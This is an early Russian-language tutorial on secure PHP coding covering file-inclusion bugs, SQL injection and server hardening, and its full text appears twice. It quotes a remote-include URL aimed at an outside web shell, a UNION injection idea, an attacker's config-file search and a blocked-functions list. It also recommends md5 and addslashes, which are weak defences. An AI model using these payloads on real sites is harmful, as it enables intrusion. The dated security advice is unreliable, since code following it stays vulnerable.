Автор: Terabyte (www.web-hack.ru)
В этой статье я хочу рассказать основные принципы безопасного программирования на PHP. На написание статьи меня подтолкнул тот факт, что в интернете очень много статей о том как взламывать сайты через дыры в PHP-скрпитах, но очень мало советов (и все они разбросаны) как не делать ошибок, через которые сайт может быть взломан. Статью я решил разделить на несколько частей, каждая из которых посвящена какому то типу ошибок и примером, как этой ошибки избежать. В конце статьи я хочу дать общие советы. Так же хочу заметить, что в статье НЕТ конкретных примеров по взлому, а те кто хочет с ними познакомиться я отсылаю на очень хороший и большой архив - http://www.web-hack.ru/books/books.php?go=36 . В нем собрана большая коллекция статей посвященных взлому сайтов черех PHP-скрпиты. Итак, приступим.
===========
Include-баг
===========
Это очень старый и почти всем известный баг в скриптах, но к сожалению до сих пор очень актуальный. Ф-ция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Наиболее частой ошибкой с этой ф-цей является код: include("$file") , а переменная $file берется из параметра к скрипту (например, qwe.php?file=index.php). Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.
Решением проблемы с Include-багом является отсутствие переменной передаваемой в запросе к скрипту, для инклуда. В таких случаях можно использовать конструкцию с оператором switch, например так:
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;
case articles:
include("articles.php");
break;
... // и т.д.
default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}
Многие наивные программисты думают, что если они сделают конструкцию типа include("$file.php"), то их не смогут сломать. Они глубоко ошибаются! Во-первых, в старых версиях PHP (например, PHP<=4.0.3pl1) присутствовал баг null-byte (знакомый еще из Perl), который позволял отбросить расширение (да и вообще, что угодно после переменной) файла. Во-вторых, даже если версия PHP на сервере новая, то можно проинклудить любой php-файл на этом сервер (если хватит прав на его чтение), а это тоже не есть хорошо. Так что запомните совет: по возможности НИКОГДА не передавайте переменные через параметр к скрипту, которые потом будут участвовать в ф-ции include(). Я конечно понимаю, что можно сделать крутые фильтры на эту переменную, но как показывает практика - "Береженного - бог бережет". Все выше описанное, так же относится к ф-циям: fopen(), require(), require_once() и inсlude_once().
Так же рекомендуя в конфиге PHP устанавливать register_globals=off (начиная с версии 4.2.0 переменная выключена по умолчанию), т.к. если ваш движек использует модули и в каком то модуле есть строка include("$file") , а значение переменной $file задается не в этом модуле, а в главном файле, то хакер может передать $file через параметр к файлу модуля в браузере.
============
SQL-инъекции
============
Все больше и больше кодеров начинают делать в своих скриптах взаимодействие с базами данных. Как правило, используется MySQL (реже MSSQL). В данной статье я расскажу о мерах защиты PHP+MySQL, т.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL. Суть уязвимостей такого типа заключается в том, что через переменные которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Я не буду подробно заострять внимание на самом принципе SQL-инъекций, а просто расскажу как их избежать. Тех, кто хочет узнать, как происходят SQL-инъекции, может прочитать о них тут (http://rst.void.ru/texts/sql-inj.txt). Приведу не большой пример:
SELECT * FROM table WHERE user='$go'
Допусти эта переменная $go передается как параметр к скрипту и выполняется SQL-комманда. Все бы хорошо, что хакер может в качестве значения к переменой передать user=lamer' (обратите внимание на кавычку) и сам закрыть условие, а далее внедрить через ф-цию UNION (эта ф-ция появилась с MySQL4, а значит в более ранних версиях инъкция не получится) другую команду SELECT и тем самым получить конфиденциальную информацию из базы (например, пароли) если узнает ее строение. Если бы после условия шли бы еще какие то другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий). Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).
Для решения проблемы с SQL-инъекциями нам необходимо фильтровать передаваемые в SQL-комманде переменные. Это достигается следующими способами:
1) Никогда не забывайте ставить значения в кавычки (это пригодится нам для дальнейшей фильтрации переменных). Т.е. так user='$go' , а не так user=$go ! Кстати, если переменная является числом, то ее значение тоже можно указать в кавычках.
2) Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:
$go=(int)$go; или $go=intval($go);
3) Если переменная не является числом, то нам нужно просто отследить отсутствие кавычек, этого можно добиться ф-цией mysql_escape_string() (ее аналог является addslashes()). Ф-ция предназначена для того, чтобы ставить слеш перед кавычкой (\'). Теперь даже если хакер попробует внедрить свой SQL-код, то он не выйдет за пределы кавычек.
Если вы являетесь параноиком, то можете сделать фильтрацию на основные ф-ции в MySQL, которые используются для инъекций: UNION и CHAR.
======
Советы
======
1) Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.
2) Никогда не делайте пароль на доступ к SQL-базе таким же, как и на FTP. А если у вас на хостинге по умолчанию так и сделано (пароли одинаковые), то требуйте от хостера чтобы он сделал их разными, т.к. если хакер получит веб-шел на сервер и сможет прочесть конфиг с паролем к SQL-базе => сможет получить FTP-доступ.
3) Шифруйте все пароли доступа к различным закрытым зонам специальными ф-циями, например md5(). Если хакер сможет получить базу с такими паролями, то расшифровать их будет проблематично.
4) Следите за обновлениями самой версии PHP (http://www.php.net) и своевременно обновляйте ее при выходе новой стабильной версии, потому что не только PHP-код может таить в себе уязвимость, но и сам интерпретатор языка (я думаю все помнят о PHP 4.0.2-4.0.7 которая позволяла удаленно открыть веб-шел).
5) По возможности давайте не распространенные имена к конфигам с паролями (cfg.php и т.д., а не config.php или conf.php), т.к. это затруднит поиск конфигов с помощью поиска по файлам сервера (find / -name conf*) хакером.
6) Не пренебрегайте возможностью сделать HTTP-аутификацию средствами PHP, особенно если нет возможности это сделать на уровне Апача (.htaccess и .htpasswd). Более подробно о таком виде аутификации и других видах можете прочесть в серии статей "Авторизация доступа" (http://www.web-hack.ru/books/books.php?go=37).
7) По возможности держите ваш PHP в режиме safe mode (safe_mode=on). Так же советую вырубить инициализацию глобальных переменных (register_globals=off) и возможность fonen() открывать адреса из веба (allow_url_fopen=off). Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа и т.д.), а не делать фильтры на запрещение не нужных.
9) Шифруйте исходники на PHP и особенно конфиги с помощью Zend Optimizer (http://www.zend.com).
В этой статье я хочу рассказать основные принципы безопасного программирования на PHP. На написание статьи меня подтолкнул тот факт, что в интернете очень много статей о том как взламывать сайты через дыры в PHP-скрпитах, но очень мало советов (и все они разбросаны) как не делать ошибок, через которые сайт может быть взломан. Статью я решил разделить на несколько частей, каждая из которых посвящена какому то типу ошибок и примером, как этой ошибки избежать. В конце статьи я хочу дать общие советы. Так же хочу заметить, что в статье НЕТ конкретных примеров по взлому, а те кто хочет с ними познакомиться я отсылаю на очень хороший и большой архив - http://www.web-hack.ru/books/books.php?go=36 . В нем собрана большая коллекция статей посвященных взлому сайтов черех PHP-скрпиты. Итак, приступим.
===========
Include-баг
===========
Это очень старый и почти всем известный баг в скриптах, но к сожалению до сих пор очень актуальный. Ф-ция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Наиболее частой ошибкой с этой ф-цей является код: include("$file") , а переменная $file берется из параметра к скрипту (например, qwe.php?file=index.php). Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.
Решением проблемы с Include-багом является отсутствие переменной передаваемой в запросе к скрипту, для инклуда. В таких случаях можно использовать конструкцию с оператором switch, например так:
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;
case articles:
include("articles.php");
break;
... // и т.д.
default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}
Многие наивные программисты думают, что если они сделают конструкцию типа include("$file.php"), то их не смогут сломать. Они глубоко ошибаются! Во-первых, в старых версиях PHP (например, PHP<=4.0.3pl1) присутствовал баг null-byte (знакомый еще из Perl), который позволял отбросить расширение (да и вообще, что угодно после переменной) файла. Во-вторых, даже если версия PHP на сервере новая, то можно проинклудить любой php-файл на этом сервер (если хватит прав на его чтение), а это тоже не есть хорошо. Так что запомните совет: по возможности НИКОГДА не передавайте переменные через параметр к скрипту, которые потом будут участвовать в ф-ции include(). Я конечно понимаю, что можно сделать крутые фильтры на эту переменную, но как показывает практика - "Береженного - бог бережет". Все выше описанное, так же относится к ф-циям: fopen(), require(), require_once() и inсlude_once().
Так же рекомендуя в конфиге PHP устанавливать register_globals=off (начиная с версии 4.2.0 переменная выключена по умолчанию), т.к. если ваш движек использует модули и в каком то модуле есть строка include("$file") , а значение переменной $file задается не в этом модуле, а в главном файле, то хакер может передать $file через параметр к файлу модуля в браузере.
============
SQL-инъекции
============
Все больше и больше кодеров начинают делать в своих скриптах взаимодействие с базами данных. Как правило, используется MySQL (реже MSSQL). В данной статье я расскажу о мерах защиты PHP+MySQL, т.к. с MSSQL я не работаю и она дает куда больше возможностей для хакера, чем MySQL. Суть уязвимостей такого типа заключается в том, что через переменные которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Я не буду подробно заострять внимание на самом принципе SQL-инъекций, а просто расскажу как их избежать. Тех, кто хочет узнать, как происходят SQL-инъекции, может прочитать о них тут (http://rst.void.ru/texts/sql-inj.txt). Приведу не большой пример:
SELECT * FROM table WHERE user='$go'
Допусти эта переменная $go передается как параметр к скрипту и выполняется SQL-комманда. Все бы хорошо, что хакер может в качестве значения к переменой передать user=lamer' (обратите внимание на кавычку) и сам закрыть условие, а далее внедрить через ф-цию UNION (эта ф-ция появилась с MySQL4, а значит в более ранних версиях инъкция не получится) другую команду SELECT и тем самым получить конфиденциальную информацию из базы (например, пароли) если узнает ее строение. Если бы после условия шли бы еще какие то другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий). Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).
Для решения проблемы с SQL-инъекциями нам необходимо фильтровать передаваемые в SQL-комманде переменные. Это достигается следующими способами:
1) Никогда не забывайте ставить значения в кавычки (это пригодится нам для дальнейшей фильтрации переменных). Т.е. так user='$go' , а не так user=$go ! Кстати, если переменная является числом, то ее значение тоже можно указать в кавычках.
2) Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу:
$go=(int)$go; или $go=intval($go);
3) Если переменная не является числом, то нам нужно просто отследить отсутствие кавычек, этого можно добиться ф-цией mysql_escape_string() (ее аналог является addslashes()). Ф-ция предназначена для того, чтобы ставить слеш перед кавычкой (\'). Теперь даже если хакер попробует внедрить свой SQL-код, то он не выйдет за пределы кавычек.
Если вы являетесь параноиком, то можете сделать фильтрацию на основные ф-ции в MySQL, которые используются для инъекций: UNION и CHAR.
======
Советы
======
1) Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.
2) Никогда не делайте пароль на доступ к SQL-базе таким же, как и на FTP. А если у вас на хостинге по умолчанию так и сделано (пароли одинаковые), то требуйте от хостера чтобы он сделал их разными, т.к. если хакер получит веб-шел на сервер и сможет прочесть конфиг с паролем к SQL-базе => сможет получить FTP-доступ.
3) Шифруйте все пароли доступа к различным закрытым зонам специальными ф-циями, например md5(). Если хакер сможет получить базу с такими паролями, то расшифровать их будет проблематично.
4) Следите за обновлениями самой версии PHP (http://www.php.net) и своевременно обновляйте ее при выходе новой стабильной версии, потому что не только PHP-код может таить в себе уязвимость, но и сам интерпретатор языка (я думаю все помнят о PHP 4.0.2-4.0.7 которая позволяла удаленно открыть веб-шел).
5) По возможности давайте не распространенные имена к конфигам с паролями (cfg.php и т.д., а не config.php или conf.php), т.к. это затруднит поиск конфигов с помощью поиска по файлам сервера (find / -name conf*) хакером.
6) Не пренебрегайте возможностью сделать HTTP-аутификацию средствами PHP, особенно если нет возможности это сделать на уровне Апача (.htaccess и .htpasswd). Более подробно о таком виде аутификации и других видах можете прочесть в серии статей "Авторизация доступа" (http://www.web-hack.ru/books/books.php?go=37).
7) По возможности держите ваш PHP в режиме safe mode (safe_mode=on). Так же советую вырубить инициализацию глобальных переменных (register_globals=off) и возможность fonen() открывать адреса из веба (allow_url_fopen=off). Еще можно запретить опасные ф-ции:
disable_functions=phpinfo,system,passthru
8) Если пишите гостевуху и т.п., то не забывайте ставить фильтрацию во всех формах (ник, мыло и т.д.) на теги с помощь ф-ции htmlspecialchars(). Кстати, если в теле сообщений нужно использовать теги, то лучше сделать свои (типа и т.д.), а не делать фильтры на запрещение не нужных.
9) Шифруйте исходники на PHP и особенно конфиги с помощью Zend Optimizer (http://www.zend.com).